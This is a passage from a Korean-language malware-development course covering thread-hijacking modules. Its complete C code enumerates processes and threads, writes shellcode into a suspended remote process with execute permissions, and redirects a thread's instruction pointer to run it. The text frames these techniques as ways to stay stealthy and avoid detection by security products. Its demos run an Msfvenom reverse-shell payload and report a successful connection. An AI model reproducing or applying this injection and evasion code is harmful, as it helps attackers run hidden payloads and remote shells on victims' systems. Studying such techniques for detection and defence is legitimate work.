		printf("[!] NtQuerySystemInformation Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	while (TRUE) {

		// Check the process's name size
		// Comparing the enumerated process name to the intended target process
		if (SystemProcInfo->ImageName.Length && wcscmp(SystemProcInfo->ImageName.Buffer, szProcName) == 0) {

			// Opening a handle to the target process, saving it, and then breaking
			*pdwPid		= (DWORD)SystemProcInfo->UniqueProcessId;
			*phProcess	= OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)SystemProcInfo->UniqueProcessId);
			break;
		}

		// If NextEntryOffset is 0, we reached the end of the array
		if (!SystemProcInfo->NextEntryOffset)
			break;

		// Move to the next element in the array
		SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
	}

	// Free using the initial address
	HeapFree(GetProcessHeap(), 0, pValueToFree);

	// Check if we successfully got the target process handle
	if (*pdwPid == NULL || *phProcess == NULL)
		return FALSE;
	else
		return TRUE;
}

문서화되지 않은 NtQuerySystemInformation 부분

NtQuerySystemInformation은 대부분 문서화되지 않은 상태로 남아 있으며 상당 부분이 여전히 알려지지 않았습니다. 예를 들어, 시스템 프로세스 정보에서 예약된 멤버에 주목하세요.

이 모듈에 제공된 코드는 다른 버전의 SYSTEM_PROCESS_INFORMATION 구조를 사용합니다. 그럼에도 불구하고 Microsoft의 버전과 모듈의 코드에 사용된 버전은 모두 동일한 출력으로 이어집니다. 가장 큰 차이점은 이 모듈에서 사용되는 구조체가 여러 개의 예약 멤버를 포함하는 Microsoft의 제한된 버전보다 더 많은 정보를 포함한다는 것입니다. 또한 Microsoft의 버전보다 문서화가 더 잘 되어 있는 다른 버전의 SYSTEM_INFORMATION_CLASS 구조체가 사용되었습니다. 두 구조체 모두 아래 링크를 통해 확인할 수 있습니다.

데모

아래 이미지는 이 모듈에 제시된 코드를 컴파일하고 실행한 후의 출력을 보여줍니다. 대상 프로세스는 Notepad.exe입니다.


35. 스레드 하이재킹 – 로컬 스레드 생성

스레드 하이재킹 – 로컬 스레드 생성

소개

스레드 실행 하이재킹은 새 스레드를 생성하지 않고도 페이로드를 실행할 수 있는 기법입니다. 이 기법의 작동 방식은 스레드를 일시 중단하고 메모리에서 다음 명령을 가리키는 레지스터를 페이로드의 시작을 가리키도록 업데이트하는 것입니다. 스레드가 실행을 재개하면 페이로드가 실행됩니다.

이 모듈은 계산 페이로드가 아닌 Msfvenom TCP 리버스 셸 페이로드를 사용합니다. 계산 페이로드는 실행 후 스레드를 종료하는 반면, 리버스 셸 페이로드는 실행 후에도 스레드를 계속 실행하기 때문에 사용됩니다. 어쨌든 두 페이로드 모두 작동하지만 실행 후에도 스레드를 계속 실행하면 추가 분석이 가능합니다.

스레드 컨텍스트

이 기술을 설명하기 전에 스레드 컨텍스트를 이해해야 합니다. 모든 스레드에는 스케줄링 우선순위가 있으며, 시스템이 스레드의 컨텍스트에 저장하는 일련의 구조를 유지합니다. 스레드 컨텍스트에는 스레드의 CPU 레지스터 및 스택 집합을 비롯하여 스레드가 실행을 원활하게 재개하는 데 필요한 모든 정보가 포함됩니다.

GetThreadContext와 SetThreadContext는 각각 스레드의 컨텍스트를 검색하고 설정하는 데 사용할 수 있는 두 가지 WinAPI입니다.

GetThreadContext는 스레드에 대한 모든 정보가 포함된 CONTEXT 구조를 채웁니다. 반면 SetThreadContext는 채워진 CONTEXT 구조를 가져와서 지정된 스레드로 설정합니다.

이 두 가지 WinAPI는 스레드 하이재킹에 중요한 역할을 하므로 WinAPI와 관련 매개변수를 검토하는 것이 좋습니다.

스레드 하이재킹과 스레드 생성

가장 먼저 해결해야 할 질문은 새로 생성된 스레드를 사용하여 페이로드를 실행하는 대신 생성된 스레드를 하이재킹하여 페이로드를 실행하는 이유입니다.

가장 큰 차이점은 페이로드 노출과 스텔스입니다. 페이로드 실행을 위한 새 스레드를 생성하면 새 스레드의 항목이 메모리에 있는 페이로드의 기본 주소를 가리켜야 하므로 페이로드의 기본 주소와 페이로드의 콘텐츠가 노출됩니다. 스레드 하이재킹의 경우 스레드의 항목이 정상적인 프로세스 함수를 가리키기 때문에 스레드가 정상적으로 보입니다.

CreateThread WinAPI

CreateThread의세 번째 매개변수인 LPTHREAD_START_ROUTINE lpStartAddress는 스레드 항목의 주소를 지정합니다. 스레드 생성을 사용하면 lpStartAddress는 페이로드의 주소를 가리킵니다. 반면에 스레드 하이재킹은 정상 함수를 가리킵니다.

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress, // Thread Entry
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);

세 번째 매개변수에 대한 설명은 아래와 같습니다.

로컬 스레드 하이재킹 단계

이 섹션에서는 로컬 프로세스에서 만든 스레드에서 스레드 하이재킹을 수행하는 데 필요한 단계에 대해 설명합니다.

대상 스레드 만들기

스레드 하이재킹을 수행하기 위한 전제 조건은 하이재킹할 실행 중인 스레드를 찾는 것입니다. 대상 스레드를 먼저 일시 중단 상태로 만들어야 하기 때문에 로컬 프로세스의 메인 스레드를 하이재킹할 수 없다는 점에 유의해야 합니다. 메인 스레드는 코드를 실행하는 스레드이므로 일시 중단할 수 없으므로 메인 스레드를 타깃팅할 때 문제가 됩니다. 따라서 로컬 스레드 하이재킹을 수행할 때는 메인 스레드를 대상으로 삼지 마세요.

이 모듈은 새로 생성된 스레드를 하이재킹하는 방법을 보여줍니다. CreateThread가 처음에 호출되어 스레드를 생성하고 스레드의 항목으로 정상 함수를 설정합니다. 그 후, 스레드의 핸들을 사용하여 스레드를 하이재킹하고 페이로드를 대신 실행하는 데 필요한 단계를 수행합니다.

토론글의 컨텍스트 수정하기

다음 단계는 스레드의 컨텍스트를 검색하여 수정하고 페이로드를 가리키도록 하는 것입니다. 스레드가 실행을 재개하면 페이로드가 실행됩니다.

앞서 언급했듯이 GetThreadContext는 대상 스레드의 컨텍스트 구조를 검색하는 데 사용됩니다. 구조체의 특정 값은 현재 스레드의 컨텍스트를 수정하기 위해 SetThreadContext를 사용하여 수정됩니다. 구조체에서 변경되는 값은 스레드가 다음에 실행할 내용을 결정하는 값입니다. 이러한 값은 RIP (64비트 프로세서의 경우) 또는 EIP (32비트 프로세서의 경우) 레지스터입니다.

명령어 포인터 레지스터라고도 하는 RIP 및 EIP 레지스터는 실행할 다음 명령어를 가리킵니다. 이 레지스터는 각 명령어가 실행된 후에 업데이트됩니다.

컨텍스트 플래그 설정

GetThreadContext의두 번째 매개변수인 lpContext가 IN & OUT 매개변수로 표시되어 있는 것을 주목하세요. Microsoft 설명서의 비고 섹션에 다음과 같이 명시되어 있습니다:

이 함수는 컨텍스트 구조의 ContextFlags 멤버 값에 따라 선택적 컨텍스트를 검색합니다.

기본적으로 Microsoft는 함수를 호출하기 전에 CONTEXT.ContextFlags를 값으로 설정해야 한다고 명시하고 있습니다. 콘텍스트 플래그는 제어 레지스터의 값을 검색하기 위해 CONTEXT_CONTROL 플래그에 설정됩니다.

따라서 스레드 하이재킹을 수행하려면 CONTEXT.ContextFlags를 CONTEXT_CONTROL로 설정해야 합니다. 또는 CONTEXT_ALL을 사용하여 스레드 하이재킹을 수행할 수도 있습니다.

스레드 하이재킹 기능

RunViaClassicThreadHijacking은 스레드 하이재킹을 수행하는 사용자 정의 함수입니다. 이 함수에는 3개의 인수가 필요합니다:

  • hThread – 하이재킹할 일시 중단된 스레드에 대한 핸들입니다.
  • p페이로드 – 페이로드의 기본 주소에 대한 포인터입니다.
  • sPayloadSize – 페이로드의 크기입니다.
BOOL RunViaClassicThreadHijacking(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

	PVOID    pAddress         = NULL;
	DWORD    dwOldProtection  = NULL;
	CONTEXT  ThreadCtx        = {
		.ContextFlags = CONTEXT_CONTROL
	};

    // Allocating memory for the payload
	pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pAddress == NULL){
		printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Copying the payload to the allocated memory
	memcpy(pAddress, pPayload, sPayloadSize);

	// Changing the memory protection
	if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Getting the original thread context
	if (!GetThreadContext(hThread, &ThreadCtx)){
		printf("[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Updating the next instruction pointer to be equal to the payload's address
	ThreadCtx.Rip = pAddress;

	// Updating the new thread context
	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;
}

희생의 실 만들기

RunViaClassicThreadHijacking에는 스레드에 대한 핸들이 필요하므로 메인 함수에서 이를 제공해야 합니다. 앞서 언급했듯이, RunViaClassicThreadHijacking이 스레드를 성공적으로 하이재킹하려면 대상 스레드가 일시 중단 상태여야 합니다.

새 스레드를 생성하는 데 CreateThread WinAPI가 사용됩니다. 새 스레드는 탐지를 피하기 위해 가능한 한 정상 스레드로 표시되어야 합니다. 이는 새로 생성된 이 스레드에서 실행되는 양성 함수를 만들어서 달성할 수 있습니다.

다음 단계는 새로 생성된 스레드를 일시 중단하여 GetThreadContext가 성공하도록 하는 것입니다. 이 작업은 두 가지 방법으로 수행할 수 있습니다:

  1. CreateThread의 dwCreationFlags 매개변수에 CREATE_SUSPENDED 플래그를 전달합니다. 이 플래그는 스레드를 일시 중단된 상태로 만듭니다.
  2. 일반 스레드를 만들지만 나중에 SuspendThread WinAPI를 사용하여 일시 중단합니다.

첫 번째 방법은 더 적은 WinAPI 호출을 사용하므로 사용됩니다. 그러나 두 방법 모두 RunViaClassicThreadHijacking을 실행한 후 스레드를 다시 시작해야 합니다. 이 작업은 일시 중단된 스레드의 핸들만 필요한 ResumeThread WinAPI를 사용하여 수행됩니다.

주요 기능

다시 설명하자면, 메인 함수는 일시 중단된 상태의 희생 스레드를 생성합니다. 이 스레드는 처음에 양성 더미 함수를 실행한 다음 RunViaClassicThreadHijacking을 사용하여 페이로드를 실행하기 위해 하이재킹됩니다.

int main() {

	HANDLE hThread = NULL;

	// Creating sacrificial thread in suspended state
	hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) &DummyFunction, NULL, CREATE_SUSPENDED, NULL);
	if (hThread == NULL) {
		printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Hijacking the sacrificial thread created
	if (!RunViaClassicThreadHijacking(hThread, Payload, sizeof(Payload))) {
		return -1;
	}

	// Resuming suspended thread, so that it runs our shellcode
	ResumeThread(hThread);

	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

데모

mainCRTStartup은 메인 함수를 실행하는 메인 스레드이고 DummyFunction 스레드는 희생 스레드입니다.

아래 이미지는 하이재킹된 프로세스가 네트워크 연결을 설정하는 모습을 보여줍니다. 이는 페이로드가 성공적으로 실행되었음을 의미합니다.

리버스 셸 연결에 성공했습니다.


36. 스레드 하이재킹 – 원격 스레드 생성

스레드 하이재킹 – 원격 스레드 생성

소개

이전 모듈에서는 정상 더미 함수를 실행하는 일시 중단된 희생 스레드를 생성하고 그 핸들을 활용하여 페이로드를 실행하는 방식으로 로컬 프로세스에 대한 스레드 하이재킹을 시연했습니다. 이 모듈에서는 로컬 프로세스가 아닌 원격 프로세스에 대해 동일한 기법을 시연합니다.

이 모듈의 또 다른 눈에 띄는 차이점은 원격 프로세스에서 희생 스레드가 생성되지 않는다는 것입니다. 이는 CreateRemoteThread WinAPI 호출을 사용하여 수행할 수 있지만, 일반적으로 악용되는 기능이므로 보안 솔루션에서 철저히 모니터링합니다.

더 나은 접근 방식은 CreateProcess를 사용하여 일시 중단된 상태에서 희생 프로세스를 생성하는 것인데, 이 프로세스는 모든 스레드를 일시 중단된 상태로 생성하여 하이재킹할 수 있도록 합니다.

원격 스레드 하이재킹 단계

이 섹션에서는 원격 프로세스에 있는 스레드에서 스레드 하이재킹을 수행하는 데 필요한 단계에 대해 설명합니다.

CreateProcess WinAPI

CreateProcess는 다양한 용도로 사용되는 강력하고 중요한 WinAPI입니다. 사용자의 이해를 돕기 위해 이 함수의 중요한 매개변수를 아래에 설명합니다.

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
  • lpApplicationName 및 lpCommandLine 매개 변수는 각각 프로세스 이름과 해당 명령줄 인수를 나타냅니다. 예를 들어, lpApplicationName은 C:\Windows\System32\cmd.exelpCommandLine은 /k whoami가 될 수 있습니다. 또는 lpApplicationName은 NULL로 설정할 수 있지만 lpCommandLine은 프로세스 이름과 해당 인수인 C:\Windows\System32\cmd.exe /k whoami를 사용할 수 있습니다. 두 매개변수 모두 선택 사항으로 표시되어 있으므로 새로 생성된 프로세스에는 인수가 필요하지 않습니다.
  • dwCreationFlags는 우선순위 클래스와 프로세스 생성을 제어하는 매개 변수입니다. 이 매개변수의 사용 가능한 값은 여기에서 확인할 수 있습니다. 예를 들어 CREATE_SUSPENDED 플래그를 사용하면 프로세스가 일시 중단된 상태로 만들어집니다.
  • lpStartupInfo는 프로세스 생성과 관련된 세부 정보가 들어 있는 STARTUPINFO에 대한 포인터입니다. 채워야 하는 유일한 요소는 바이트 단위의 구조체 크기인 DWORD cb입니다.
  • lpProcessInformation은 PROCESS_INFORMATION 구조를 반환하는 OUT 파라미터입니다. PROCESS_INFORMATION 구조체는 아래와 같습니다.
typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;        // A handle to the newly created process.
  HANDLE hThread;         // A handle to the main thread of the newly created process.
  DWORD  dwProcessId;     // Process ID
  DWORD  dwThreadId;      // Main Thread's ID
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;

환경 변수 사용

프로세스를 생성하기 위해 마지막으로 남은 부분은 프로세스의 전체 경로를 결정하는 것입니다. 희생 프로세스는 System32 디렉터리에 있는 바이너리에서 생성됩니다. 경로가 C:\Windows\System32라고 가정하고 해당 값을 하드 코딩할 수도 있지만 프로그래밍 방식으로 경로를 확인하는 것이 항상 더 안전합니다. 이를 위해 GetEnvironmentVariableA WinAPI가 사용됩니다. GetEnvironmentVariableA는 지정된 환경 변수의 값을 검색하며, 이 경우 “WINDIR”이 됩니다.

WINDIR은 Windows 운영 체제의 설치 디렉터리를 가리키는 환경 변수입니다. 대부분의 시스템에서 이 디렉토리는 “C:\Windows”입니다. 명령 프롬프트에 “echo %WINDIR%”를 입력하거나 파일 탐색기 검색 창에 %WINDIR%를 입력하면 WINDIR 환경 변수 값에 액세스할 수 있습니다.

DWORD GetEnvironmentVariableA(
  [in, optional]  LPCSTR lpName,
  [out, optional] LPSTR  lpBuffer,
  [in]            DWORD  nSize
);

희생 프로세스 함수 만들기

CreateSuspendedProcess는 일시 중단된 상태의 희생 프로세스를 생성하는 데 사용됩니다. 4개의 인수가 필요합니다:

  • lpProcessName – 생성할 프로세스의 이름입니다.
  • dwProcessId – 프로세스 ID를 수신하는 DWORD에 대한 포인터입니다.
  • hProcess – 프로세스 핸들을 수신하는 HANDLE에 대한 포인터입니다.
  • hThread – 스레드 핸들을 수신하는 HANDLE에 대한 포인터입니다.
BOOL CreateSuspendedProcess (IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

	CHAR				    lpPath          [MAX_PATH * 2];
	CHAR				    WnDr            [MAX_PATH];

	STARTUPINFO			    Si              = { 0 };
	PROCESS_INFORMATION		Pi              = { 0 };

	// Cleaning the structs by setting the member values to 0
	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	// Setting the size of the structure
	Si.cb = sizeof(STARTUPINFO);

	// Getting the value of the %WINDIR% environment variable
	if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
		printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Creating the full target process path
	sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
	printf("\n\t[i] Running : \"%s\" ... ", lpPath);

	if (!CreateProcessA(
		NULL,					// No module name (use command line)
		lpPath,					// Command line
		NULL,					// Process handle not inheritable
		NULL,					// Thread handle not inheritable
		FALSE,					// Set handle inheritance to FALSE
		CREATE_SUSPENDED,		// Creation flag
		NULL,					// Use parent's environment block
		NULL,					// Use parent's starting directory
		&Si,					// Pointer to STARTUPINFO structure
		&Pi)) {					// Pointer to PROCESS_INFORMATION structure

		printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("[+] DONE \n");

	// Populating the OUT parameters with CreateProcessA's output
	*dwProcessId    = Pi.dwProcessId;
	*hProcess       = Pi.hProcess;
	*hThread        = Pi.hThread;

	// Doing a check to verify we got everything we need
	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
		return TRUE;

	return FALSE;
}

원격 프로세스 기능 주입

대상 프로세스를 생성한 후 다음 단계는 프로세스 주입 – 셸코드 초급 모듈의 InjectShellcodeToRemoteProcess 함수를 사용하여 페이로드를 주입하는 것입니다. 페이로드는 실행되지 않고 원격 프로세스에만 기록됩니다. 그런 다음 스레드 하이재킹을 통해 나중에 사용할 수 있도록 기본 주소가 저장됩니다.

BOOL InjectShellcodeToRemoteProcess (IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {


	SIZE_T  sNumberOfBytesWritten    = NULL;
	DWORD   dwOldProtection          = NULL;


	*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (*ppAddress == NULL) {
		printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);


	if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
		printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
		return FALSE;
	}


	if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}


	return TRUE;
}

원격 스레드 하이재킹 기능

일시 중단된 프로세스를 생성하고 페이로드를 원격 프로세스에 쓴 후 마지막 단계는 CreateSuspendedProcess가 반환한 스레드 핸들을 사용하여 스레드 하이재킹을 수행하는 것입니다. 이 부분은 로컬 스레드 하이재킹 모듈에서 설명한 것과 동일합니다.

요약하자면, GetThreadContext를 사용하여 스레드의 컨텍스트를 검색하고, 작성된 페이로드를 가리키도록 RIP 레지스터를 업데이트하고, SetThreadContext를 호출하여 스레드의 컨텍스트를 업데이트하고, 마지막으로 ResumeThread를 사용하여 페이로드를 실행하는 것입니다. 이 모든 과정은 두 개의 인수를 받는 아래 사용자 정의 함수인 HijackThread에서 확인할 수 있습니다:

  • hThread – 하이재킹할 스레드입니다.
  • pAddress – 실행할 페이로드의 기본 주소에 대한 포인터입니다.
BOOL HijackThread (IN HANDLE hThread, IN PVOID pAddress) {

	CONTEXT	ThreadCtx = {
		.ContextFlags = CONTEXT_CONTROL
	};

	// getting the original thread context
	if (!GetThreadContext(hThread, &ThreadCtx)) {
		printf("\n\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

 	// updating the next instruction pointer to be equal to our shellcode's address
	ThreadCtx.Rip = pAddress;

	// setting the new updated thread context
	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("\n\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// resuming suspended thread, thus running our payload
	ResumeThread(hThread);

	WaitForSingleObject(hThread, INFINITE);

	return TRUE;
}

결론

이 모듈에서 설명한 내용을 간단히 요약해 보겠습니다:

  1. CreateProcessA를 사용하여 일시 중단된 상태에서 새 프로세스가 생성되었고, 이 프로세스는 모든 스레드도 일시 중단된 상태로 생성되었습니다.
  2. 페이로드는 VirtualAllocEx와 WriteProcessMemory를 사용하여 새로 생성된 프로세스에 주입되었지만 실행되지는 않았습니다.
  3. CreateProcessA에서 반환된 스레드 핸들을 사용하여 스레드 하이재킹을 통해 페이로드를 실행합니다.

데모

이 데모는 Notepad.exe를 희생 프로세스로 사용하고, 해당 스레드를 탈취하여 Msfvenom 계산 셸코드를 실행합니다.


37. 스레드 하이재킹 – 로컬 스레드 열거

스레드 하이재킹 – 로컬 스레드 열거

소개

지금까지 로컬 스레드 하이재킹이 수행될 때는 CreateThread를 사용하여 대상 스레드를 생성하고 컨텍스트를 수정했습니다. 이 모듈에서는 시스템에서 실행 중인 스레드를 CreateToolhelp32Snapshot을 사용하여 열거한 다음 하이재킹하는 대체 방법을 시연합니다.

스레드 열거

이전 모듈에서 시스템 프로세스의 스냅샷을 검색하는 데 WinAPI가 사용된 CreateToolhelp32Snapshot을 사용했던 것을 기억하세요. 이 모듈에서는 동일한 WinAPI가 사용되지만 dwFlags 매개변수에 다른 값이 사용됩니다. 시스템에서 실행 중인 스레드를 열거하려면 TH32CS_SNAPTHREAD 플래그를 지정해야 합니다. 이 플래그를 사용하면 CreateToolhelp32Snapshot은 아래와 같은 THREADENTRY32 구조를 반환합니다.

typedef struct tagTHREADENTRY32 {
  DWORD dwSize;                       // sizeof(THREADENTRY32)
  DWORD cntUsage;
  DWORD th32ThreadID;                 // Thread ID
  DWORD th32OwnerProcessID;           // The PID of the process that created the thread.
  LONG  tpBasePri;
  LONG  tpDeltaPri;
  DWORD dwFlags;
} THREADENTRY32;

실행 중인 각 스레드는 캡처된 스냅샷에 고유한 THREADENTRY32 구조를 가집니다.

스레드 소유자 식별하기

Microsoft의 설명서에 따르면

특정 프로세스에 속한 스레드를 식별하려면 스레드를 열거할 때해당 프로세스 식별자를 THREADENTRY32 구조체의th32OwnerProcessID 멤버와 비교하세요 .

즉, 스레드가 속한 프로세스를 확인하려면 대상 PID를 스레드를 생성한 프로세스의 PID인 THREADENTRY32.th32OwnerProcessID와 비교합니다. PID가 일치하면 현재 열거 중인 스레드가 대상 프로세스에 속하는 것입니다.

필수 WinAPI

스레드 열거를 수행하는 데 사용되는 WinAPI는 다음과 같습니다.

  • CreateToolhelp32스냅샷 – 시스템에서 실행 중인 모든 스레드의 스냅샷을 받으려면 TH32CS_SNAPTHREAD 플래그와 함께 사용합니다.
  • Thread32First – 스냅샷에 캡처된 첫 번째 스레드에 대한 정보를 가져오는 데 사용됩니다.
  • Thread32Next, 캡처된 스냅샷의 다음 스레드에 대한 정보를 가져오는 데 사용됩니다.
  • OpenThread – 스레드 ID를 사용하여 대상 스레드에 대한 핸들을 여는 데 사용됩니다.
  • GetCurrentProcessId – 로컬 프로세스의 PID를 검색하는 데 사용됩니다. 로컬 프로세스가 대상 프로세스이므로 스레드가 이 프로세스에 속하는지 여부를 확인하려면 해당 프로세스의 PID가 필요합니다.

작업자 스레드

스레드 열거 코드를 살펴보기 전에 작업자 스레드의 개념을 이해하는 것이 중요합니다. 코드에서 CreateThread가 사용되지는 않지만 Windows 운영 체제는 프로세스에서 작업자 스레드를 생성합니다. 이러한 작업자 스레드는 스레드 하이재킹의 유효한 타겟이 됩니다. 이러한 작업자 스레드의 예는 아래에서 볼 수 있습니다.

위 이미지에 표시된 스레드(예: ntdll.dll! EtwNotificationRegister+0x2d0 )는 운영 체제에서 Windows용 이벤트 추적 기능인 ETW를 실행하기 위해 생성하는 스레드입니다. ETW는 향후 모듈에서 설명할 예정이지만 지금은 이 함수가 프로세스에서 특정 이벤트가 발생할 때 운영 체제에 알리는 데 사용된다는 것만 이해하면 충분합니다.

스레드 열거 함수

GetLocalThreadHandle은 앞서 언급한 단계를 활용하여 스레드 열거를 수행합니다. 3개의 인수가 필요합니다:

  • dwMainThreadId – 로컬 프로세스의 메인 스레드의 스레드 ID입니다. 로컬 프로세스의 메인 스레드를 타겟팅하지 않기 위해 필요합니다.
  • dwThreadId – 하이재킹 가능한 스레드의 ID를 수신하는 DWORD에 대한 포인터입니다.
  • hThread – 하이재킹 가능한 스레드에 대한 핸들을 수신하는 HANDLE에 대한 포인터입니다.
BOOL GetLocalThreadHandle(IN DWORD dwMainThreadId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {

	// Getting the local process ID
	DWORD           dwProcessId  = GetCurrentProcessId();
	HANDLE          hSnapShot    = NULL;
	THREADENTRY32   Thr          = {
		.dwSize = sizeof(THREADENTRY32)
	};

	// Takes a snapshot of the currently running processes's threads
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
	if (hSnapShot == INVALID_HANDLE_VALUE) {
		printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	// Retrieves information about the first thread encountered in the snapshot.
	if (!Thread32First(hSnapShot, &Thr)) {
		printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	do {
		// If the thread's PID is equal to the PID of the target process then
		// this thread is running under the target process
		// The 'Thr.th32ThreadID != dwMainThreadId' is to avoid targeting the main thread of our local process
		if (Thr.th32OwnerProcessID == dwProcessId && Thr.th32ThreadID != dwMainThreadId) {

			// Opening a handle to the thread
			*dwThreadId  = Thr.th32ThreadID;
			*hThread     = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);

			if (*hThread == NULL)
				printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());

			break;
		}

	// While there are threads remaining in the snapshot
	} while (Thread32Next(hSnapShot, &Thr));


_EndOfFunction:
	if (hSnapShot != NULL)
		CloseHandle(hSnapShot);
	if (*dwThreadId == NULL || *hThread == NULL)
		return FALSE;
	return TRUE;
}

로컬 스레드 하이재킹 기능

대상 스레드에 대한 유효한 핸들을 확보하면 이를 HijackThread 함수에 전달할 수 있습니다. SuspendThread WinAPI는 스레드를 일시 중단하는 데 사용되며, GetThreadContext 및 SetThreadContext는 페이로드의 기본 주소를 가리키도록 RIP 레지스터를 업데이트하는 데 사용됩니다. 또한 스레드를 하이재킹하기 전에 페이로드를 로컬 프로세스 메모리에 기록해야 합니다.

BOOL HijackThread(HANDLE hThread, PVOID pAddress) {

	CONTEXT	ThreadCtx = {
		.ContextFlags = CONTEXT_ALL
	};

	SuspendThread(hThread);

	if (!GetThreadContext(hThread, &ThreadCtx)) {
		printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	ThreadCtx.Rip = pAddress;

	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("\t[#] Press <Enter> To Run ... ");
	getchar();

	ResumeThread(hThread);

	WaitForSingleObject(hThread, INFINITE);

	return TRUE;
}

데모

하이재킹된 스레드는 메인 스레드가 아니며 지속적으로 실행되지 않으므로 페이로드 실행에 다소 시간이 걸릴 수 있습니다.

또한 페이로드에 따라 실행 후 로컬 프로세스가 충돌할 수 있습니다. 예를 들어 페이로드가 명령 및 제어 서버용인 경우 프로세스는 계속 실행되지만, Msfvenom의 계산 셸코드가 사용된 경우 Msfvenom의 계산 셸코드가 호출 스레드를 종료하기 때문에 프로세스가 충돌합니다.


38. 스레드 하이재킹 – 원격 스레드 열거

스레드 하이재킹 – 원격 스레드 열거

소개

이 모듈은 원격 프로세스의 스레드를 열거하기 위해 CreateToolhelp32Snapshot을 사용하는 방법을 다룹니다. 원격 스레드에 대해 작동하도록 이전 모듈에 표시된 GetLocalThreadHandle 함수를 약간 변경했습니다.

CreateToolhelp32SnapshotThread32First 및 Thread32Next가 대상 프로세스의 스레드를 열거하는 데 사용되는 논리는 동일하게 유지됩니다. 원격 프로세스를 대상으로 할 때의 차이점은 메인 스레드가 하이재킹의 유효한 대상이라는 점입니다.

원격 스레드 열거 함수

GetRemoteThreadhandle은 원격 프로세스의 스레드를 열거합니다. 3개의 인수가 필요합니다:

  • dwProcessId – 대상 프로세스의 PID입니다.
  • dwThreadId – 대상 프로세스의 스레드 ID를 수신할 DWORD에 대한 포인터입니다.
  • hThread – 원격 스레드에 대한 핸들을 받을 HANDLE에 대한 포인터입니다.

GetRemoteThreadhandle 함수 구현의 또 다른 차이점은 대상 PID를 제공해야 한다는 것입니다. 로컬 프로세스를 대상으로 할 때는 GetCurrentProcessId WinAPI가 로컬 프로세스의 PID를 검색했기 때문에 필요하지 않았습니다.

BOOL GetRemoteThreadhandle(IN DWORD dwProcessId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {

	HANDLE         hSnapShot  = NULL;
	THREADENTRY32  Thr        = {
		.dwSize = sizeof(THREADENTRY32)
	};

